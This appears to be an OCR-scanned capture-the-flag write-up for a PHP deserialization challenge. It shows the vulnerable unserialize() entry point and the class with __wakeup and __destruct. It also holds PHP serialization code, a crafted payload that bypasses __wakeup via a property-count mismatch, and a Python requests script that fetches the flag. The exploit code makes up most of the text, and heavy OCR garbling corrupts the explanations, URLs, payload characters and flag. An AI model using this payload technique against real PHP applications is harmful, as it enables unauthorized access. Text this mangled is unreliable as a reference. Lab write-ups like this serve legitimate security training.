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Instance Info

Remaining Time: 10761s

Lan Domain: 19994-cab06279-c19b-4b%7-
bal6-0256ebb6e357

http://cab06279-c19b-4b97-
bal6-0256ebb6e357.node3.buuoj.cn

Destroy this instance Renew this instance

Flag Submit

BAH MY, J-TEE

1D Hrk HTTEIR]GL
1 http: //Ba29edcd—09a0-4bab—6596—f 692 ab106ch. node3. buuoj. en/www. zip 200
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a] class.php 2019/10/14 7:23 PHP =74&%
) flag.php 2019/10/14 8:44 PHP 7t
index.js 201771176 4:26 JavaScript 3245
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% | style.css 2017/11/6 4:26 EERE T



—SB YRy
~Uulv bLyIE_ LCKL_E!III‘.'IUUW.UI\JK Upﬁ J‘I\J
<?php
iInclude ‘class.php’;
$select = $ GET['select’];
$res=unserialize(@ $select);
?>
</div>
1% B ffjunserialize? K 2| —/N 774k
P:# F class.php

<?php include ‘'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public
function __construct($username,$password }{ $this->username = $username; $this->password = $password; } function
__wakeup(){ $this->username ='guest’; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You
name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username
==="admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } ?>
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__destruct()24— N % GBS BN B 1
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<?php

Name{
fusername ‘admin';
$password "100 " ;

ta Name () ;
$b = serialize(%$a);
print r($b);
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0:4:"Name":2:{s:14:"=INamel: username”;s:5:"admin";s: 14:" 5/ Namel= password";s:3:"100";}
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A 13 2] IEHf ¥ username, password 1] 7 41 44,18 431 B username fllpassword /& private J& 1
private)& I J7 5111£: %0025 4 %00 % 71 4

protect/& %/ 411 44.:%00* %00 % i1t 4

1 Rk #it payload
O:4:"Name”:2:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
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« EhuEEitpAFO4 py = EfplREEE LIEERME.py & unzip.py = chenhao.py - testpy & DVWA_commdinjection.py = C\.\chenhao.py - sshERREREE py = shellit2iE5flag py
import requests
e
url ="http://cah06279-c19b-4h97-balé-0256ebbhbe357.node3.buvoj.cn/"
html = requests.get(url+'?select=0:4:"Name":3:{s:14:"\@Name\Qusername";s:5:"admin";s:14:"\@OName\@password";i:100;}"')
print(html.text)

n: test

<div id="world">
<div style="text-shadow:0px Opx 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 44@px;font-family:KaiTi;">EHhEIIEE
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) </div>
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- <div style="text-shadow:0px Opx Gpx;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 708px;font-family:KaiTi;">F{BEE! !
- </div>

(] <div style="text-shadow:0px Opx 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">

flag{f98f031le-cc2d-4af3-90a8-leccP67344a8} </div>

<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ clay</p></div>
</div>
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